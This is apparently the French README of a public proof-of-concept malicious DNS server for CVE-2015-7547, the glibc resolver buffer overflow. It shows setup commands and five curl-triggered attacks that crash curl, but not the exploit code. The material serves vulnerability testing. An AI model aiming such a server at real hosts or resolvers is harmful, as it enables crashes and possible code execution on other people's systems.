
Serveur d'attaque PoC pour la vulnérabilité de débordement de tampon CVE-2015-7547 dans le résolveur stub DNS de glibc (version publique)
Pour tester sur une machine locale avec une version vulnérable de glibc :
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/$ sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
Ensuite, depuis une autre session de terminal, exécutez les attaques comme indiqué dans les exemples ci-dessous.
Nécessite la capacité d'envoyer des réponses > 2048 octets sur UDP et TCP.
Séquence d'attaque :
Exemple :
user@localhost:/$ curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Nécessite la capacité d'envoyer des réponses > 2048 octets sur UDP.
Séquence d'attaque :
Exemple :
user@localhost:/$ curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Nécessite la capacité d'envoyer des réponses > 1024 octets sur UDP et > 2048 octets sur TCP.
Séquence d'attaque :
Exemple :
user@localhost:/$ curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Nécessite la capacité d'envoyer des réponses > 2048 octets sur UDP.
Séquence d'attaque :
Exemple :
user@localhost:/$ curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Nécessite la capacité d'envoyer des réponses > 2048 octets sur TCP et au moins deux entrées de serveur de noms dans /etc/resolv.conf.
Séquence d'attaque :
Exemple :
user@localhost:/$ curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Pour déclencher une réponse de type A/AAAA valide d'une certaine taille depuis le serveur, envoyez une requête pour l'un des éléments suivants :
Les requêtes peuvent être émises sur UDP ou TCP, et les réponses contiendront le nombre approprié de réponses A ou AAAA valides pour remplir la réponse à la taille demandée. Lorsque le serveur PoC est configuré comme serveur de noms faisant autorité pour un domaine de test, cela permet d'explorer le comportement des hiérarchies de cache DNS face à des réponses de taille excessive.
Exemple :
user@localhost:/$ curl http://payload1.somedomain.com